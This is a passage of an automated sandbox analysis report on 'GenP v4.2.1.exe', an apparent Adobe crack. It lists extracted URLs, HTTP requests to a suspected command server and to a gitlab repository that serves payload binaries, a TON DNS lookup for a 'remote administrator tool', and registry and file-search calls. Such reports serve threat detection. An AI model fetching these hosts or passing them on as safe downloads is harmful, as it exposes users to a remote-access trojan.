"00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-object0;09071http://crl.usertrust.com/utn-userfirst-object.crl0)k%%-qcn>k't" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?37193375387014449110337186509494.crl9ib76ys" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "https://dns.google/resolve?name=dns.google\\\\\\\\\\\\\\\\\\\\\\i<66666666666666666666666666666666666666666666d*p" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "https://dns.google/resolve?name=google.comi<66666666666666666666666666666666666666666666d*p" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-487007270818109937193375387014449110337186509494.crltls:" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-487007270818109937193375387014449110337186509494.crl0\w" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "https://1.1.1.1/dns-query?name=dns.googlehttps://1.1.1.1/dns-query?name=google.comhttps://dns.google/resolve?name=1.1.1.145a176ebbf818ca7183d7b2946c07c1c81" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "https://dns.google/resolve?name=1.1.1.1https://1.1.1.1/dns-query?name=1.1.1.1qzi&write" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "https://1.1.1.1/dns-query?name=google.comhttps://cloudflare-dns.com/dns-query?name=dns.google&type=ahttps://dns.google/resolve?name=dns.google&type=acloudflare-dns.comee*sdx9udns.googlesa1atik.cn'v:.rv7*4/qk:4*an" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "https://tonapi.io/v2/dns/remoteadministratortool.ton/resolvehttps://tonapi.io/v2/dns/remoteadministratortool.ton/resolve" - Source: "00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found URL "https://sa1atik.cn/sa1at/" - Source: "00000000-00001656.00000001.256170.04480000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-487007270818109937193375387014449110337186509494.crl0pr.dj" - Source: "00000000-00001656.00000001.256170.04480000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-487007270818109937193375387014449110337186509494.crl0p6=n" - Source: "00000000-00001656.00000001.256170.04480000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-487007270818109937193375387014449110337186509494.crl0\w" - Source: "00000000-00001656.00000001.256170.04480000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00001656.00000002.257253.0182B000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00001656.00000002.257253.0182B000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0internet1verisign," - Source: "00000000-00001656.00000002.257253.0182B000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm/eccf%w0digicert" - Source: "00000000-00001656.00000002.257253.0182B000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00001656.00000002.257253.01847000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00001656.00000002.257253.01847000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.60.3.11.3.6.1.4.1.311.60.3.21.3.6.1.4.1.311.60.3.31.3.36.3.3.2.8.1.1.1ecdp1.3.36.3.3.2.8.1.1.2ecdp1.3.36.3.3.2.8.1.1.1@eckp1.3.36.3.3.2.8.1.1.3ecdp1.3.36.3.3.2.8.1.1.3@eckp1.3.36.3.3.2.8.1.1.2@eckp1.3.36.3.3.2.8.1.1.4@eckp1.3.36.3.3.2.8.1.1.5ecdp1.3.36.3.3.2.8.1.1.4ecdp1.3.132.0.33ecdp1.2.840.10045.3.1.7@eckpnw@" - Source: "00000000-00001656.00000002.257253.01847000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00001656.00000002.257253.0185D000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00001656.00000002.257253.0185D000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00001656.00000002.257253.0185D000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00001656.00000002.257253.0185D000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00001656.00000002.257253.0185D000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00001656.00000002.257253.0185D000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%ld.htmlmpoav_forcedeepscan" - Source: "00000000-00001656.00000002.257253.743C1000.00000020.mdmp") Found URL "https://a.dove.isdumb.one/list.txttrigger" - Source: "00000000-00005740.00000000.258418.01D70000.00000002.mdmp") Found URL "https://a.dove.isdumb.one/list.txttrigger" - Source: "00000000-00006656.00000000.258291.02FE0000.00000002.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006656.00000001.260210.02B20000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0eri0>system.configurationsystem.directoryservicesrsystem.management$%'%internet1verisign," - Source: "00000000-00006656.00000001.260210.02B20000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006656.00000001.260210.02B20000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmwashington1redmond1microsoft" - Source: "00000000-00006656.00000001.260210.02B20000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006656.00000001.260210.02B20000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00006656.00000001.260210.02B20000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lnw@wnw" - Source: "00000000-00006656.00000001.260210.02B20000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00006656.00000001.260210.02B20000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2r0r!^0s" - Source: "00000000-00006656.00000001.260210.02DD0000.00000004.mdmp") Found URL "http://www.microsoft.com20230502223608.676z0washington1redmomicrosoft" - Source: "00000000-00006656.00000001.260210.02DD0000.00000004.mdmp") Found URL "http://www.micr,m/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00006656.00000001.260210.02DD0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microime-stamp%20pca%202010(1).crt0.5y7$cg7'x" - Source: "00000000-00006656.00000001.260210.02DD0000.00000004.mdmp") Found URL "https://a.dove.isdumb.one/list.txttrigger" - Source: "00000000-00006656.00000001.260210.02FE0000.00000002.mdmp") Found URL "http://crl.microz<1.system.data.dllsystem.data.dllrsa1(]b,=t]o-rsa1" - Source: "00000000-00006656.00000001.260210.070E2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00006656.00000001.260210.070E2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00006656.00000001.260210.070E2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0et,@858chz$31zof1gwanjat^r" - Source: "00000000-00006656.00000001.260210.070E2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0ufg.5;;7i0" - Source: "00000000-00006656.00000001.260210.070E2000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportindows" - Source: "00000000-00006656.00000001.260210.08850000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%lu&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00006656.00000001.260210.6FD91000.00000020.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlhttpupdatealtlocationforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalnissignatureslastupdatedlastemergencysigcheckenableemergencysigsdeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00006656.00000001.260210.6FD91000.00000020.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutlastmapssuccesstimelastmapsfailuretimethreatseveritydefaultactiontsstatetsstarttimetsexpirationtimetssourcetsdailyquotadisableprivacymodeallowuseruiaccessuilockdownadvertiselastschedulednotification_suppresssuppressrebootnotificationsuppresswdonotificationpauseupdatestarttimepauseupdateexpirationtimelastheartbeatsystimedisablelastaccesstimesuppressioninternalforceuupproxyforceignorecachedisableinjectiondisableasyncscanoncloseasynconopenvolumesenablertpasyncthrottlingrtpasyncthrottlepercentvaluedlpshowdialogsenablebrowserpasteenforcementdlpdisableprintfileheuristicdlpdisablebrowsercachedisablecopyaccelerationforsessionzerodisabletpexclusionsdynamicinjectionthresholdforcopyaccelerationdynamicinjectiontimewindowforcopyaccelerationdlpbrowsercachecleanupintervaldlpbrowserstalecachecleanupintervaldlpbrowsercloudegressbypassdurationpreventplatformupdatefilterexperimentmodecopyacceleratorcancellablecopysupportmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllrevious_corrupted_tpconfigsnapshot.snptspreferenceconfigs.snptspolicyconfigs.snpfailed" - Source: "00000000-00006656.00000001.260210.6FD91000.00000020.mdmp") Found URL "http://www.validationtest.contoso.com/test%ld.htmlmpoav_forcedeepscan" - Source: "00000000-00006656.00000001.260210.74461000.00000020.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006656.00000002.261062.02B3A000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0eri0>system.configurationsystem.directoryservicesrsystem.management$%'%internet1verisign," - Source: "00000000-00006656.00000002.261062.02B3A000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006656.00000002.261062.02B3A000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmwashington1redmond1microsoft" - Source: "00000000-00006656.00000002.261062.02B3A000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006656.00000002.261062.02B3A000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00006656.00000002.261062.02B3A000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lnw@wnw" - Source: "00000000-00006656.00000002.261062.02B3A000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00006656.00000002.261062.02C15000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2r0r!^0s" - Source: "00000000-00006656.00000002.261062.02DD0000.00000004.mdmp") Found URL "http://www.microsoft.com20230502223608.676z0washington1redmomicrosoft" - Source: "00000000-00006656.00000002.261062.02DD0000.00000004.mdmp") Found URL "http://www.micr,m/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00006656.00000002.261062.02DD0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microime-stamp%20pca%202010(1).crt0.5y7$cg7'x" - Source: "00000000-00006656.00000002.261062.02DD0000.00000004.mdmp") Found URL "http://crl.microz<1.system.data.dllsystem.data.dllrsa1(]b,=t]o-rsa1" - Source: "00000000-00006656.00000002.261062.070E2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00006656.00000002.261062.070E2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00006656.00000002.261062.070E2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0et,@858chz$31zof1gwanjat^r" - Source: "00000000-00006656.00000002.261062.07143000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0ufg.5;;7" - Source: "00000000-00006656.00000002.261062.07143000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00006656.00000002.261062.0888F000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0au]8&l*" - Source: "00000000-00006656.00000002.261062.0888F000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiof0o" - Source: "00000000-00006656.00000002.261062.0890F000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00006656.00000002.261062.08982000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00006656.00000002.261062.08982000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00006656.00000002.261062.08982000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00006656.00000002.261062.08982000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00006656.00000002.261062.0A380000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00006656.00000002.261062.0A380000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00006656.00000002.261062.0A380000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00006656.00000002.261062.0A380000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006656.00000002.261062.0A380000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00006656.00000002.261062.0A380000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/micra3t':ctxc" - Source: "00000000-00006656.00000002.261062.0A380000.00000004.mdmp") Found URL "http://microsoft.com0sil!g!v8crosoft" - Source: "00000000-00006656.00000002.261062.0A380000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/pro" - Source: "00000000-00006656.00000002.261062.0A380000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/miccerlisca" - Source: "00000000-00006656.00000002.261062.0A380000.00000004.mdmp") Found URL "https://a.dove.isdumb.one/list.txt;" - Source: "00000000-00006860.00000000.253892.02FB0000.00000004.mdmp") Found URL "https://github.com/ignaciocastro/a-dove-is-dumb;" - Source: "00000000-00006860.00000000.253892.02FB0000.00000004.mdmp") Found URL "https://a.dove.isdumb.one/list.txt;" - Source: "00000000-00006860.00000001.253940.02FB0000.00000004.mdmp") Found URL "https://github.com/ignaciocastro/a-dove-is-dumb;" - Source: "00000000-00006860.00000001.253940.02FB0000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crlstarfield" - Source: "00000000-00007652.00000000.259220.03C00000.00000004.mdmp") Found URL "http://crl.xrampsecurity.com/xgca.crld-trust" - Source: "00000000-00007652.00000000.259220.03C00000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_ev_2009.crl" - Source: "00000000-00007652.00000000.259220.03C00000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_2009.crlu/" - Source: "00000000-00007652.00000000.259220.03C00000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl(c)" - Source: "00000000-00007652.00000000.259220.03C00000.00000004.mdmp") Found URL "http://crl.usertrust.com/utn-userfirst-object.crl(c)" - Source: "00000000-00007652.00000000.259220.03C00000.00000004.mdmp") Found URL "http://www.usertrust.comutn-userfirst-objectthe" - Source: "00000000-00007652.00000000.259220.03C00000.00000004.mdmp") Found URL "http://www.usertrust.comutn-userfirst-objectaffirmtrust" - Source: "00000000-00007652.00000000.259220.03C00000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-objectsalt" - Source: "00000000-00007652.00000000.259220.03C00000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-objectgeotrust" - Source: "00000000-00007652.00000000.259220.03C00000.00000004.mdmp") Found URL "http://www.chambersign.org1" - Source: "00000000-00007652.00000000.259220.03C00000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/7z.dll" - Source: "00000000-00007652.00000000.259220.03C00000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/7z.exe" - Source: "00000000-00007652.00000000.259220.03C00000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/mstsclib.dll" - Source: "00000000-00007652.00000000.259220.03C00000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/axmstsclib.dll" - Source: "00000000-00007652.00000000.259220.03C00000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/ffmpeg.exe" - Source: "00000000-00007652.00000000.259220.03C00000.00000004.mdmp") Found URL "http://policy.camerfirma.com0+,t" - Source: "00000000-00007652.00000000.259220.03C00000.00000004.mdmp") Found URL "http://policy.camerfirma.com0i$y'o)yrez3__68vr1[g-hlp]iskc" - Source: "00000000-00007652.00000000.259220.03C00000.00000004.mdmp") Found URL "https://a.dove.isdumb.one/list.txt" - Source: "00000000-00007688.00000001.256162.B51A1000.00000004.mdmp") Found URL "https://a.dove.isdumb.one/list.txttrigger" - Source: "00000000-00007688.00000001.256162.B59E0000.00000002.mdmp") Found URL "https://a.dove.isdumb.one/list.txt+&)h/&-h" - Source: "00000000-00007688.00000002.258079.B5140000.00000004.mdmp") Found URL "https://a.dove.isdumb.one/list.txt" - Source: "00000000-00007688.00000002.258079.B51A1000.00000004.mdmp") Found URL "https://a.dove.isdumb.one/list.txttrigger" - Source: "00000000-00007688.00000002.258079.B59E0000.00000002.mdmp") Found URL "https://a.dove.isdumb.one/list.txt" - Source: "00000000-00007688.00000003.276808.B51A1000.00000004.mdmp")4e:T501,GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 88 Content-Type: application/octet-stream Accept-Encoding: gzip GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 346 Content-Type: application/octet-stream Accept-Encoding: gzip GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 75 Content-Type: application/octet-stream Accept-Encoding: gzip GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 80 Content-Type: application/octet-stream Accept-Encoding: gzip GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 79395 Content-Type: application/octet-stream Accept-Encoding: gzip GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 83 Content-Type: application/octet-stream Accept-Encoding: gzip GET /webrat1/importantfiles/-/raw/main/7z.dll HTTP/1.1 Host: gitlab.com Connection: Keep-Alive GET /users/sign_in HTTP/1.1 GET /webrat1/importantfiles/-/raw/main/7z.exe HTTP/1.1 GET /webrat1/importantfiles/-/raw/main/MSTSCLib.dll HTTP/1.1 GET /webrat1/importantfiles/-/raw/main/AxMSTSCLib.dll HTTP/1.1 GET /webrat1/importantfiles/-/raw/main/ffmpeg.exe HTTP/1.1 4f:Ta0f,Found string "ncalrpc:[dhcpcsvc6,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00001656.00000001.256170.01861000.00000004.mdmp, 00000000-00001656.00000002.257253.0185D000.00000004.mdmp") Found string "ncalrpc" (Indicator: "ncalrpc"; Source: "00000000-00001656.00000002.257253.01812000.00000004.mdmp, 00000000-00001656.00000002.257253.0185D000.00000004.mdmp") Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00001656.00000002.257253.01847000.00000004.mdmp") Found string "B+ncalrpc:[OLE73E8DA8702A6A8B85ADFB365E9D1]" (Indicator: "ncalrpc"; Source: "00000000-00001656.00000002.257253.0185D000.00000004.mdmp") Found string "+ncalrpc:[OLE73E8DA8702A6A8B85ADFB365E9D1]" (Indicator: "ncalrpc"; Source: "00000000-00001656.00000002.257253.0185D000.00000004.mdmp") Found string "ncalrpc:[epmapper]" (Indicator: "ncalrpc"; Source: "00000000-00001656.00000002.257253.0185D000.00000004.mdmp") Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00005740.00000000.258418.01400000.00000004.mdmp, 00000000-00005740.00000001.258505.01400000.00000004.mdmp") Found string "+ncalrpc:[OLE66F8B63E8C88F29B6556AF4FE002]" (Indicator: "ncalrpc"; Source: "00000000-00005740.00000000.258418.01400000.00000004.mdmp") Found string "+ncalrpc:[OLE1AEF73E48F80BF113E33283FB705]" (Indicator: "ncalrpc"; Source: "00000000-00005740.00000001.258505.01400000.00000004.mdmp") Found string "B+ncalrpc:[OLE1AEF73E48F80BF113E33283FB705]" (Indicator: "ncalrpc"; Source: "00000000-00005740.00000001.258505.01400000.00000004.mdmp") Found string "+ncalrpc:[OLE07FAD79A59DF7371DBD42BD1D36B]" (Indicator: "ncalrpc"; Source: "00000000-00006656.00000000.258291.02B20000.00000004.mdmp, 00000000-00006656.00000001.260210.02B20000.00000004.mdmp, 00000000-00006656.00000002.261062.02B3A000.00000004.mdmp") Found string "B+ncalrpc:[" (Indicator: "ncalrpc"; Source: "00000000-00006656.00000001.260210.02B20000.00000004.mdmp, 00000000-00006656.00000002.261062.02B3A000.00000004.mdmp") Found string "+ncalrpc:[OLE73E8DA8702A6A8B85ADFB365E9D1]" (Indicator: "ncalrpc"; Source: "00000000-00006656.00000001.260210.02B20000.00000004.mdmp, 00000000-00006656.00000001.260210.08850000.00000004.mdmp, 00000000-00006656.00000002.261062.088BA000.00000004.mdmp") Found string "B+ncalrpc:[OLE73E8DA8702A6A8B85ADFB365E9D1]" (Indicator: "ncalrpc"; Source: "00000000-00006656.00000001.260210.02B20000.00000004.mdmp, 00000000-00006656.00000001.260210.08850000.00000004.mdmp")50:T526,Found registry query API: "RegOpenKeyExW" in file "Genp v4.2.1.exe" Found registry query API: "RegQueryValueExW" in file "Genp v4.2.1.exe" Found registry query API: "RegEnumKeyExW" in file "Genp v4.2.1.exe" Found registry query API: "RegEnumValueW" in file "Genp v4.2.1.exe" Found registry query API: "RegOpenKeyExW" in "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp, 00000000-00001656.00000002.257253.743F9000.00000002.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00001656.00000002.257253.743F9000.00000002.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp" Found registry query API: "RegGetValueW" in "00000000-00006656.00000000.258291.008D7000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp" Found registry query API: "RegEnumKeyExW" in "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp"51:T9a1,"Genpv4.2.1.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00006860) "Genpv4.2.1.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00006860) "Genpv4.2.1.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00006860) "Genpv4.2.1.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00006860) "Genpv4.2.1.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00006860) "Genpv4.2.1.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00006860) "Genpv4.2.1.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00006860) "Genpv4.2.1.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00006860) "Genpv4.2.1.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00006860) "Genpv4.2.1.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00006860) "Genpv4.2.1.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00006860) "Genpv4.2.1.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00006860) "Genpv4.2.1.exe" called "FindNextFileW" with parameter 3b9003e4f27d92e40668f0efad11e022 (UID: 00000000-00006860) "Genpv4.2.1.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\merged\* (UID: 00000000-00006860) "Genpv4.2.1.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00006860) "Genpv4.2.1.exe" called "FindNextFileW" with parameter ce0fd4f5b50baa17e7b80e4ee874ad11 (UID: 00000000-00006860) "GenP-v4.2.1.exe" called "FindFirstFileW" with parameter %PROGRAMFILES%\Adobe (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "FindFirstFileW" with parameter %ALLUSERSPROFILE%\Microsoft\Windows\WER\Temp\c43862135138\patch_states.ini (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "FindFirstFileW" with parameter %ALLUSERSPROFILE%\Microsoft\Windows\WER\Temp\c43862135138\Skull.ico (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "FindFirstFileW" with parameter %PROGRAMFILES%\(x86)\Common Files\Adobe\AdobeGCClient\AdobeGCClient.exe.bak (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "FindFirstFileW" with parameter 